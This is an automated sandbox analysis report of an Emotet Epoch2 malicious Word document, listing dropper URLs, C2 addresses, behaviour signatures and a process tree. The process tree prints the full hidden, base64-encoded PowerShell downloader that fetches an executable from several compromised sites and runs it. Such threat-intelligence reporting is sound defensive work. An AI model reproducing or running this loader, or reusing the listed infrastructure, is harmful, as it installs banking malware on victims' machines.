Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    85s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    30/10/2020, 16:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_005b9b3299e128a79fe21a998375eccf999a16aeee899a934ee2cdf578137d13_2020-10-30__164336156847._doc.doc
  • Size 175KB
  • Sample201030-pex53rlr4e
  • SHA256 005b9b3299e128a79fe21a998375eccf999a16aeee899a934ee2cdf578137d13
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://da-industrial.com/js/9IdLP/
  • exe.dropper

    http://daprofesional.com/data4/hWgWjTV/
  • exe.dropper

    https://dagranitegiare.com/wp-admin/tV/
  • exe.dropper

    http://www.outspokenvisions.com/wp-includes/aWoM/
  • exe.dropper

    http://mobsouk.com/wp-includes/UY30R/
  • exe.dropper

    http://biglaughs.org/smallpotatoes/Y/
  • exe.dropper

    https://ngllogistics.africa/adminer/W3mkB/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 102.182.145.130:80

  • 173.173.254.105:80

  • 64.207.182.168:8080

  • 51.89.199.141:8080

  • 167.114.153.111:8080

  • 173.63.222.65:80

  • 218.147.193.146:80

  • 59.125.219.109:443

  • 172.104.97.173:8080

  • 190.162.215.233:80

  • 68.115.186.26:80

  • 78.188.106.53:443

  • 190.240.194.77:443

  • 24.133.106.23:80

  • 80.227.52.78:80

  • 79.137.83.50:443

  • 120.150.218.241:443

  • 62.171.142.179:8080

  • 194.4.58.192:7080

  • 62.30.7.67:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_005b9b3299e128a79fe21a998375eccf999a16aeee899a934ee2cdf578137d13_2020-10-30__164336156847._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:596
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1096
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -windowstyle hidden -ENCOD IABTAFYAIAAgADAAegBYACAAKABbAFQAeQBQAGUAXQAoACIAewAyAH0AewAwAH0AewA0AH0AewAzAH0AewAxAH0AIgAtAGYAIAAnAGUAJwAsACcAcgBFAEMAdABvAHIAWQAnACwAJwBzAFkAcwB0ACcALAAnAC4ASQBPAC4AZABJACcALAAnAE0AJwApACAAIAApACAAOwAgACAAIABzAGUAdAAgACAAVAB4AHkAUwBlAG8AIAAgACgAIAAgAFsAVABZAHAAZQBdACgAIgB7ADAAfQB7ADcAfQB7ADUAfQB7ADYAfQB7ADQAfQB7ADIAfQB7ADEAfQB7ADgAfQB7ADMAfQAiAC0ARgAnAFMAWQBzAFQARQAnACwAJwBUAE0AJwAsACcASQBOACcALAAnAEUAUgAnACwAJwBwAE8AJwAsACcATgBlAFQALgBzAGUAJwAsACcAUgBWAEkAQwBFACcALAAnAE0ALgAnACwAJwBBAE4AYQBHACcAKQApACAAOwAgACAAJABOAGIAZgA1AHQAZwAzAD0AKAAnAEIAOQAnACsAJwB5AHAAJwArACgAJwA5ADAAJwArACcAcwAnACkAKQA7ACQAVgB4AG4AbAByAGUAMAA9ACQAQwBsAHUAZABrAGoAeAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA2AHIAMQB0AHUAeQA7ACQASwB5ADMAcQAwAGUAOAA9ACgAKAAnAFIAcQAnACsAJwBkAHgAJwApACsAJwB3AG8AJwArACcANQAnACkAOwAgACAAKAAgACAARABpAHIAIAAgAHYAYQBSAGkAQQBiAGwAZQA6ADAAWgB4ACkALgB2AGEAbAB1AEUAOgA6ACIAQwByAGUAQQBUAGAARQBgAGQASQBSAEUAYwBgAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbgBEAHAAJwArACcASgByAGIAJwApACsAKAAnAGUAJwArACcAdgBrADQAbgAnACkAKwAnAEQAJwArACcAcAAnACsAKAAnAEMAJwArACcAYwB3AHIAXwAyAGgAJwApACsAJwBuAEQAJwArACcAcAAnACkAIAAtAFIAZQBQAGwAQQBjAEUAIAAoACcAbgAnACsAJwBEAHAAJwApACwAWwBjAEgAYQBSAF0AOQAyACkAKQA7ACQAUAB5AG8AegBnAGUAbwA9ACgAKAAnAEoANQBmACcAKwAnAHkAMQAnACkAKwAnAGMAJwArACcAYwAnACkAOwAgACgAIAAgAHYAYQBSAGkAQQBCAEwARQAgAFQAeABZAFMARQBvACAAIAApAC4AVgBhAGwAdQBFADoAOgAiAFMAZQBjAFUAcgBJAGAAVABZAHAAYABSAGAATwB0AE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQASAB1AGEAagBnAGIAMAA9ACgAKAAnAEoAbgAnACsAJwBvACcAKQArACcANQBnACcAKwAnAGEAMQAnACkAOwAkAEIAYgAyADgAdQBtAG8AIAA9ACAAKAAoACcAQQBsAGUAJwArACcANwBnACcAKQArACcAXwA4ACcAKQA7ACQASABzAGMAZQBfAGoAcwA9ACgAJwBLAHYAJwArACgAJwBuAGIAJwArACcAbwB2AF8AJwApACkAOwAkAFMAcABrADUAMQB1AGUAPQAoACgAJwBDACcAKwAnADcAeABvACcAKQArACcAOQBnACcAKwAnAGwAJwApADsAJABTAGMAdQBzAGIAawBqAD0AJABIAE8ATQBFACsAKAAoACcANQAnACsAJwB0ACcAKwAoACcAZgAnACsAJwBKAHIAYgBlAHYAJwArACcAawAnACkAKwAoACcANAA1AHQAZgAnACsAJwBDAGMAJwArACcAdwAnACkAKwAnAHIAJwArACgAJwBfADIAaAAnACsAJwA1AHQAZgAnACkAKQAgAC0AcgBFAHAAbABBAEMARQAgACAAKABbAEMAaABBAFIAXQA1ADMAKwBbAEMAaABBAFIAXQAxADEANgArAFsAQwBoAEEAUgBdADEAMAAyACkALABbAEMAaABBAFIAXQA5ADIAKQArACQAQgBiADIAOAB1AG0AbwArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFEAMQBfAHkAMAA1AF8APQAoACcAVwAnACsAKAAnADQAJwArACcAcQB2AHkAJwApACsAJwB6ADgAJwApADsAJABPAGQAYgAzAGgAZgAzAD0AJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBCAGMAbABJAEUATgB0ADsAJABBAG4AYgB5AHQAMQB5AD0AKAAnAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAF0AWwAnACsAJwAoAHMAKQBdACcAKQArACgAKAAnAHcAXQAnACsAJwBbACgAJwApACkAKwAoACgAJwBzACkAJwArACcAXQB3ACcAKQApACsAKAAnAGQAYQAnACsAJwAtACcAKQArACcAaQAnACsAJwBuACcAKwAnAGQAdQAnACsAKAAnAHMAJwArACcAdAByAGkAYQBsAC4AJwArACcAYwAnACsAJwBvACcAKQArACcAbQBdACcAKwAoACcAWwAoAHMAKQBdACcAKwAnAHcAJwArACcAagBzACcAKQArACgAKAAnAF0AJwArACcAWwAoACcAKQApACsAKAAoACcAcwAnACsAJwApAF0AdwA5AEkAZABMACcAKwAnAFAAXQBbACcAKwAnACgAcwAnACsAJwApAF0AdwAnACsAJwBAAGgAJwApACkAKwAoACcAdAAnACsAJwB0AHAAOgBdACcAKQArACgAJwBbACgAcwAnACsAJwApAF0AJwApACsAJwB3ACcAKwAoACcAXQAnACsAJwBbACgAcwApAF0AJwApACsAKAAnAHcAZABhAHAAJwArACcAcgBvACcAKwAnAGYAZQBzAGkAbwBuAGEAJwArACcAbAAuAGMAJwApACsAJwBvAG0AJwArACgAJwBdAFsAKABzACcAKwAnACkAJwArACcAXQAnACkAKwAnAHcAJwArACgAJwBkACcAKwAnAGEAdABhACcAKQArACgAJwA0AF0AWwAoAHMAJwArACcAKQBdAHcAaAAnACkAKwAoACcAVwBnAFcAJwArACcAagBUACcAKQArACgAJwBWAF0AJwArACcAWwAnACkAKwAoACcAKABzACkAXQB3AEAAaAB0AHQAcAAnACsAJwBzADoAXQBbACgAcwAnACsAJwApAF0AJwArACcAdwAnACsAJwBdACcAKQArACcAWwAnACsAKAAnACgAcwApACcAKwAnAF0AdwBkAGEAZwAnACsAJwByAGEAJwApACsAJwBuAGkAJwArACcAdAAnACsAKAAnAGUAZwAnACsAJwBpAGEAJwApACsAKAAnAHIAZQAuAGMAJwArACcAbwAnACkAKwAnAG0AXQAnACsAKAAnAFsAJwArACcAKABzACkAJwApACsAKAAnAF0AdwB3ACcAKwAnAHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AXQBbACgAcwApACcAKwAnAF0AdwB0ACcAKQArACgAJwBWAF0AWwAnACsAJwAoAHMAJwArACcAKQAnACkAKwAoACcAXQB3AEAAJwArACcAaAAnACkAKwAnAHQAdAAnACsAJwBwACcAKwAoACcAOgAnACsAJwBdAFsAJwApACsAKAAnACgAcwApAF0AdwBdAFsAJwArACcAKABzACcAKwAnACkAXQB3AHcAdwAnACsAJwB3ACcAKwAnAC4AbwB1AHQAJwArACcAcwAnACsAJwBwACcAKQArACgAJwBvAGsAJwArACcAZQAnACkAKwAnAG4AdgAnACsAJwBpACcAKwAoACcAcwAnACsAJwBpAG8AbgBzAC4AJwApACsAKAAnAGMAbwBtACcAKwAnAF0AJwApACsAJwBbACcAKwAoACcAKABzACkAXQB3ACcAKwAnAHcAcAAnACsAJwAtAGkAbgAnACkAKwAoACcAYwBsAHUAJwArACcAZAAnACkAKwAoACcAZQBzAF0AWwAoAHMAKQAnACsAJwBdAHcAYQBXACcAKwAnAG8AJwArACcATQAnACkAKwAoACcAXQAnACsAJwBbACgAJwArACcAcwApAF0AdwAnACkAKwAoACcAQAAnACsAJwBoAHQAdABwADoAXQAnACkAKwAoACcAWwAoAHMAKQAnACsAJwBdAHcAXQBbACgAJwArACcAcwApACcAKQArACgAJwBdAHcAbQBvACcAKwAnAGIAcwAnACkAKwAoACcAbwAnACsAJwB1AGsALgBjACcAKQArACgAKAAnAG8AJwArACcAbQBdAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACsAJwBdAHcAdwBwAC0AJwApACkAKwAnAGkAbgAnACsAJwBjACcAKwAnAGwAJwArACgAJwB1AGQAZQAnACsAJwBzAF0AJwArACcAWwAnACkAKwAoACcAKABzACkAXQAnACsAJwB3ACcAKQArACgAJwBVAFkAJwArACcAMwAwAFIAXQAnACkAKwAoACcAWwAoAHMAJwArACcAKQBdAHcAJwArACcAQAAnACsAJwBoACcAKwAnAHQAdABwADoAXQBbACcAKQArACgAJwAoACcAKwAnAHMAKQBdAHcAJwApACsAKAAnAF0AWwAnACsAJwAoAHMAKQAnACkAKwAoACcAXQAnACsAJwB3AGIAJwApACsAJwBpACcAKwAoACcAZwAnACsAJwBsAGEAdQBnAGgAJwArACcAcwAnACkAKwAoACgAJwAuAG8AJwArACcAcgAnACsAJwBnAF0AWwAoAHMAJwApACkAKwAoACgAJwApAF0AJwApACkAKwAoACcAdwBzACcAKwAnAG0AYQBsAGwAcABvAHQAJwArACcAYQB0AG8AJwApACsAJwBlAHMAJwArACgAKAAnAF0AJwArACcAWwAoAHMAJwApACkAKwAoACgAJwApAF0AdwBZAF0AJwArACcAWwAoAHMAJwArACcAKQBdAHcAJwArACcAQABoACcAKwAnAHQAdABwAHMAOgBdAFsAKABzACkAJwApACkAKwAnAF0AdwAnACsAKAAnAF0AWwAoACcAKwAnAHMAKQBdAHcAbgAnACsAJwBnACcAKQArACgAJwBsAGwAJwArACcAbwAnACkAKwAoACcAZwBpAHMAdAAnACsAJwBpACcAKQArACgAJwBjAHMALgAnACsAJwBhACcAKQArACcAZgAnACsAKAAnAHIAaQBjAGEAXQAnACsAJwBbACcAKwAnACgAJwArACcAcwApAF0AdwAnACkAKwAnAGEAZAAnACsAKAAnAG0AaQAnACsAJwBuACcAKQArACcAZQByACcAKwAnAF0AJwArACgAJwBbACgAcwAnACsAJwApAF0AdwAnACsAJwBXADMAbQAnACkAKwAnAGsAJwArACgAKAAnAEIAJwArACcAXQBbACgAcwAnACkAKQArACgAKAAnACkAJwArACcAXQB3ACcAKQApACkALgAiAHIAZQBwAGAATABBAGMARQAiACgAKAAnAF0AJwArACcAWwAnACsAKAAnACgAcwApAF0AJwArACcAdwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAcwBQAGAAbABJAFQAIgAoACQASQB2AGcAMwB6AGMAdQAgACsAIAAkAFYAeABuAGwAcgBlADAAIAArACAAJABKAHoAYQBlAHcAZAB5ACkAOwAkAEcAYwBvAHkAdgBsAHYAPQAoACgAJwBLAGYAJwArACcAXwAnACkAKwAoACcAOQAnACsAJwBlAHQAMQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQQA4AGkAMwBrAGUAMQAgAGkAbgAgACQAQQBuAGIAeQB0ADEAeQApAHsAdAByAHkAewAkAE8AZABiADMAaABmADMALgAiAGQATwBgAFcAbgBMAE8AQQBgAGQAZgBJAEwAZQAiACgAJABBADgAaQAzAGsAZQAxACwAIAAkAFMAYwB1AHMAYgBrAGoAKQA7ACQAWgBoAGMAbgBhAHUAeAA9ACgAKAAnAEUAawAnACsAJwBrACcAKQArACgAJwBqACcAKwAnADQANwB0ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFMAYwB1AHMAYgBrAGoAKQAuACIATABFAG4AYABHAFQAaAAiACAALQBnAGUAIAA0ADUAMQA5ADkAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAaQAnACsAJwBuACcAKQArACgAJwAzADIAXwAnACsAJwBQAHIAbwBjACcAKwAnAGUAJwApACsAJwBzACcAKwAnAHMAJwApACkALgAiAGMAUgBgAGUAYQBUAEUAIgAoACQAUwBjAHUAcwBiAGsAagApADsAJABHAGwAdwBrAGkANgBhAD0AKAAnAEkAJwArACcAbQAnACsAKAAnAHQAZAAnACsAJwB4AHYANgAnACkAKQA7AGIAcgBlAGEAawA7ACQAUABmAHAAYgBsAGgAMQA9ACgAJwBWAHMAJwArACgAJwBsAGEAbAAnACsAJwBjACcAKQArACcAdQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYANAA3AGkAZQBmADIAPQAoACgAJwBCAG4AJwArACcAegBpAGQAJwApACsAJwByAHQAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1492
    • C:\Users\Admin\Jrbevk4\Ccwr_2h\Ale7g_8.exe
      C:\Users\Admin\Jrbevk4\Ccwr_2h\Ale7g_8.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1076
      • C:\Windows\SysWOW64\iasnap\wsmplpxy.exe
        "C:\Windows\SysWOW64\iasnap\wsmplpxy.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1324

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/596-3-0x00000000056B2000-0x00000000056B7000-memory.dmp
          Download

          memory/596-0-0x0000000000572000-0x0000000000576000-memory.dmp
          Download

          memory/596-2-0x0000000000572000-0x0000000000576000-memory.dmp
          Download

          memory/596-1-0x0000000006070000-0x0000000006074000-memory.dmp
          Download

          memory/1076-13-0x0000000000C70000-0x0000000000CA4000-memory.dmp
          Download

          memory/1076-14-0x0000000000CB0000-0x0000000000CE3000-memory.dmp
          Download

          memory/1324-19-0x00000000003C0000-0x00000000003F3000-memory.dmp
          Download

          memory/1324-18-0x0000000000360000-0x0000000000394000-memory.dmp
          Download

          memory/1492-5-0x0000000001F20000-0x0000000001F21000-memory.dmp
          Download

          memory/1492-10-0x000000001BAC0000-0x000000001BAC1000-memory.dmp
          Download

          memory/1492-9-0x000000001B9F0000-0x000000001B9F1000-memory.dmp
          Download

          memory/1492-8-0x0000000002420000-0x0000000002421000-memory.dmp
          Download

          memory/1492-7-0x0000000002530000-0x0000000002531000-memory.dmp
          Download

          memory/1492-6-0x000000001AC60000-0x000000001AC61000-memory.dmp
          Download

          memory/1492-4-0x000007FEF5B00000-0x000007FEF64EC000-memory.dmp
          Download

          memory/1516-20-0x000007FEF7E50000-0x000007FEF80CA000-memory.dmp
          Download